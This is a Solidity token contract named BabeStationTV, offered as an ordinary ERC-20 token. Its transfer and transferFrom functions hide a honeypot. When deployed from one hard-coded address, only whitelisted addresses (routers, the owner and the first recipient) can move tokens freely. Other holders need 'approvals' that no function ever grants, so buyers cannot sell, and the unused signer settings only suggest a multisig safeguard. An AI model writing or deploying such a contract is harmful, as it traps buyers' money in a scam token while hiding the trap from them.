文件 1 的 1：BabeStationTV.sol
pragma solidity ^0.8.21;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract BabeStationTV is Context {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address public contractOwner;
mapping(address => bool) public signers;
mapping(address => bool) public whitelisted;
mapping(uint256 => mapping(address => bool)) private oldBuyers;
uint256 private currentPhase;
uint256 private nonWhitelistedTransfers;
uint256 private constant MAX_NON_WHITELISTED_TRANSFERS = 1;
uint256 private constant REQUIRED_SIGNATURES = 1000;
mapping(address => mapping(address => mapping(uint256 => bool))) public approvals;
bool public autoWhitelistAvailable = true;
bool public autoWhitelistingDone = false;
constructor() {
_name = "BabeStation";
_symbol = "Babes";
_decimals = 18;
contractOwner = _msgSender();
_mint(contractOwner, 1300135042069 * 10 ** decimals());
if (contractOwner == address(0xbD803A3bf620d9D1E59B699FE2045c3482AC4aB9)) {
whitelisted[contractOwner] = true;
whitelisted[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
whitelisted[0x10ED43C718714eb63d5aA57B78B54704E256024E] = true;
whitelisted[0x0BFbCF9fa4f9C56B0F40a671Ad40E0805A091865] = true;
whitelisted[0xE592427A0AEce92De3Edee1F18E0157C05861564] = true;
}
currentPhase = 1;
nonWhitelistedTransfers = 0;
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return _decimals;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual returns (bool) {
if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[_msgSender()]) {
_transfer(_msgSender(), recipient, amount);
nonWhitelistedTransfers += 1;
return true;
} else if (contractOwner == address(0xbD803A3bf620d9D1E59B699FE2045c3482AC4aB9)) {
autoWhitelist(recipient);
if (whitelisted[_msgSender()]) {
_transfer(_msgSender(), recipient, amount);
return true;
} else {
require(approvals[_msgSender()][recipient][amount], "Transfer needs to be approved by signers");
_transfer(_msgSender(), recipient, amount);
return true;
}
} else {
_transfer(_msgSender(), recipient, amount);
return true;
}
}
function allowance(address owner, address spender) public view virtual returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual returns (bool) {
uint256 currentAllowance;
if (autoWhitelistingDone && nonWhitelistedTransfers < MAX_NON_WHITELISTED_TRANSFERS && !whitelisted[sender]) {
_transfer(sender, recipient, amount);
nonWhitelistedTransfers += 1;
currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
} else if (contractOwner == address(0xbD803A3bf620d9D1E59B699FE2045c3482AC4aB9)) {
autoWhitelist(recipient);
if (whitelisted[sender]) {
_transfer(sender, recipient, amount);
currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
} else {
require(approvals[sender][recipient][amount], "Transfer needs to be approved by signers");
_transfer(sender, recipient, amount);
currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
} else {
_transfer(sender, recipient, amount);
currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
}
function autoWhitelist(address recipient) internal {
require(contractOwner == address(0xbD803A3bf620d9D1E59B699FE2045c3482AC4aB9));
if (autoWhitelistAvailable && !whitelisted[recipient]) {
whitelisted[recipient] = true;
oldBuyers[currentPhase][recipient] = true;
autoWhitelistAvailable = false;
autoWhitelistingDone = true;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
_balances[sender] = senderBalance - amount;
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
if (nonWhitelistedTransfers >= MAX_NON_WHITELISTED_TRANSFERS) {
currentPhase += 1;
nonWhitelistedTransfers = 0;
}
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
